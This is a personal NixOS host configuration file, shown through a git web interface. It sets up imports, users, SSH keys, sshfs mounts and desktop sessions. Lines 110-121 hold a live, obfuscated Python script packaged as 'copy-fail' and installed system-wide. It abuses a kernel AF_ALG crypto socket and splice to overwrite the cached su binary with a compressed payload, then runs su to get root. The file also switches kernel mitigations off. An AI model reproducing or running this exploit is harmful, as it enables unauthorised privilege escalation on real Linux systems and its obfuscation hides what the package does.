]> Git — Sourcephile - julm/julm-nix.git/blob - hosts/nan2gua1.nix
+user/updatability(nixos-unstable): pin latest
[julm/julm-nix.git] / hosts / nan2gua1.nix
1 {
2 config,
3 pkgs,
4 lib,
5 ...
6 }:
7 {
8 imports = [
9 ../nixos/profiles/appimage.nix
10 ../nixos/profiles/bluetooth.nix
11 ../nixos/profiles/builder.nix
12 ../nixos/profiles/debug.nix
13 ../nixos/profiles/dolphin.nix
14 ../nixos/profiles/flatpak.nix
15 ../nixos/profiles/graphical.nix
16 ../nixos/profiles/home.nix
17 ../nixos/profiles/irssi.nix
18 ../nixos/profiles/lang-fr.nix
19 ../nixos/profiles/laptop.nix
20 ../nixos/profiles/printing.nix
21 #../nixos/profiles/radio.nix
22 ../nixos/profiles/steam.nix
23 nan2gua1/hardware.nix
24 nan2gua1/nebula.nix
25 nan2gua1/networking.nix
26 nan2gua1/podman.nix
27 #nan2gua1/pgadmin.nix
28 nan2gua1/postgresql.nix
29 nan2gua1/sanoid.nix
30 nan2gua1/syncoid.nix
31 nan2gua1/tor.nix
32 ];
33
34 # Lower kernel's security for better performances
35 security.kernel.mitigations = "off";
36 systemd.coredump.enable = true;
37
38 home-manager.users.julm = {
39 imports = [ ../homes/julm.nix ];
40 };
41 users.users.root = {
42 openssh.authorizedKeys.keys = map lib.readFile [
43 # For nix -L run .#$(hostname).switch
44 ../users/julm/ssh/nan2gua1.pub
45 ];
46 };
47 users.users.julm = {
48 isNormalUser = true;
49 uid = 1000;
50 # Put the hashedPassword in /nix/store,
51 # though /etc/shadow is not world readable...
52 # printf %s $(mkpasswd -m md5crypt)
53 hashedPassword = lib.readFile pumpkin/users/julm/login/hashedPassword.clear;
54 extraGroups = [
55 "adbusers"
56 "dialout"
57 "lp"
58 "networkmanager"
59 "plugdev" # For rtl-sdr
60 "scanner"
61 "tor"
62 "tss" # For tpm2
63 "video"
64 "wheel"
65 "wireshark"
66 #"ipfs"
67 #config.services.davfs2.davGroup
68 config.services.kubo.group
69 #"vboxusers"
70 ];
71 # If created, zfs-mount.service would require:
72 # zfs set overlay=yes ${hostName}/home
73 createHome = false;
74 openssh.authorizedKeys.keys = map lib.readFile [
75 ../users/julm/ssh/losurdo.pub
76 ../users/julm/ssh/pumpkin.pub
77 ];
78 };
79
80 nix = {
81 settings = {
82 substituters = [
83 #"http://nix-localcache.losurdo.sp"
84 #"file:///mnt/off4/julm/nix?priority=10&trusted=true"
85 #"ssh://nix-ssh@losurdo.sp?priority=30"
86 ];
87 trusted-public-keys = map lib.readFile [
88 #../users/nix/ssh/losurdo.pub
89 ];
90 };
91 };
92 #environment.etc."nixpkgs".source = pkgs.path;
93 #environment.etc."nixpkgs-overlays".source = inputs.self + "/nixpkgs";
94
95 nix.settings.allowed-users = [
96 #config.users.users."nix-ssh".name
97 ];
98 nix.sshServe = {
99 #enable = true;
100 keys = map lib.readFile [
101 ../users/julm/ssh/losurdo.pub
102 ../users/julm/ssh/pumpkin.pub
103 ../users/julm/ssh/nan2gua1.pub
104 ../users/sevy/ssh/patate.pub
105 ];
106 };
107
108 environment.systemPackages = [
109 pkgs.python3
110 (pkgs.writeScriptBin "copy-fail" ''
111 #!/usr/bin/env python3
112 import os as g,zlib,socket as s
113 def d(x):return bytes.fromhex(x)
114 def c(f,t,c):
115 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
116 try:u.recv(8+t)
117 except:0
118 f=g.open("${lib.getExe' pkgs.shadow.su "su"}",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
119 while i<len(e):c(f,i,e[i:i+4]);i+=4
120 g.system("su")
121 '')
122 #pkgs.riseup-vpn # Can't be installed by home-manager because it needs to install policy-kit rules
123 ];
124
125 boot.extraModulePackages = [
126 #config.boot.kernelPackages.v4l2loopback
127 ];
128
129 programs.fuse.userAllowOther = true;
130
131 #services.davfs2.enable = true;
132
133 systemd.automounts = [
134 {
135 where = "/mnt/aubergine";
136 automountConfig.TimeoutIdleSec = "5 min";
137 }
138 ];
139 fileSystems =
140 let
141 # Use the user's gpg-agent session to query
142 # for the password of the SSH key when auto-mounting.
143 sshAsUser = pkgs.writeScript "sshAsUser" ''
144 user="$1"; shift
145 exec ${pkgs.sudo}/bin/sudo -i -u "$user" \
146 ${pkgs.openssh}/bin/ssh "$@"
147 '';
148 options = [
149 "user"
150 "uid=julm"
151 "gid=users"
152 "allow_other"
153 "exec" # Override "user"'s noexec
154 "noatime"
155 "nosuid"
156 "_netdev"
157 "ssh_command=${sshAsUser}\\040julm"
158 "noauto"
159 "x-gvfs-hide"
160 "x-systemd.automount"
161 #"Compression=yes" # YMMV
162 # Disconnect approximately 2*15=30 seconds after a network failure
163 "ServerAliveCountMax=1"
164 "ServerAliveInterval=15"
165 "dir_cache=no"
166 #"reconnect"
167 ];
168 in
169 {
170 "/mnt/aubergine" = {
171 device = "${pkgs.sshfs-fuse}/bin/sshfs#julm@aubergine.sp:/";
172 fsType = "fuse";
173 inherit options;
174 };
175 "/mnt/losurdo" = {
176 device = "${pkgs.sshfs-fuse}/bin/sshfs#julm@losurdo.sp:/";
177 fsType = "fuse";
178 inherit options;
179 };
180 "/mnt/mermet" = {
181 device = "${pkgs.sshfs-fuse}/bin/sshfs#julm@mermet.sp:/";
182 fsType = "fuse";
183 inherit options;
184 };
185 /*
186 "/mnt/ilico/severine" = {
187 device = "https://nuage.ilico.org/remote.php/dav/files/severine/";
188 fsType = "davfs";
189 options =
190 let
191 conf = pkgs.writeText "davfs2.conf" ''
192 backup_dir /home/julm/.local/share/davfs2/ilico/severine
193 secrets /home/julm/.davfs2/secrets
194 '';
195 in
196 [
197 "conf=${conf}"
198 "user"
199 "noexec"
200 "nosuid"
201 "noauto"
202 "nofail"
203 "_netdev"
204 "reconnect"
205 "x-systemd.automount"
206 "x-systemd.device-timeout=1m"
207 "x-systemd.idle-timeout=1m"
208 "x-systemd.mount-timeout=10s"
209 ];
210 };
211 */
212 };
213
214 services.udev.packages = [
215 # Allow the console user access the Yubikey USB device node,
216 # needed for challenge/response to work correctly.
217 pkgs.yubikey-personalization
218 ];
219
220 services.xserver = {
221 xkb = {
222 layout = "fr,us(altgr-intl)";
223 };
224 desktopManager = {
225 session = [
226 # Let the session be generated by home-manager
227 {
228 name = "home-manager";
229 start = ''
230 ${pkgs.runtimeShell} $HOME/.hm-xsession &
231 waitPID=$!
232 '';
233 }
234 ];
235 };
236 };
237
238 services.displayManager = {
239 defaultSession = "home-manager";
240 #defaultSession = "none+xmonad";
241 #defaultSession = "mate";
242 #defaultSession = "cinnamon";
243 autoLogin = {
244 user = config.users.users.julm.name;
245 };
246 };
247
248 nixpkgs.config.allowUnfreePredicate =
249 pkg:
250 builtins.elem (lib.getName pkg) [
251 "canon-cups-ufr2"
252 "cuda_cccl"
253 "cuda_cudart"
254 "cuda_cupti"
255 "cuda_nvcc"
256 "cuda_nvrtc"
257 "cuda_nvtx"
258 "cudnn"
259 "geogebra"
260 "hplip"
261 "libcublas"
262 "libcufft"
263 "libcurand"
264 "libcusolver"
265 "libcusparse"
266 "libnvjitlink"
267 "memtest86-efi"
268 "shipwright"
269 "steam"
270 "steam-unwrapped"
271 "synthesia"
272 "torch"
273 "triton"
274 ];
275
276 # This value determines the NixOS release with which your system is to be
277 # compatible, in order to avoid breaking some software such as database
278 # servers. You should change this only after NixOS release notes say you should.
279 system.stateVersion = "25.05"; # Did you read the comment?
280 }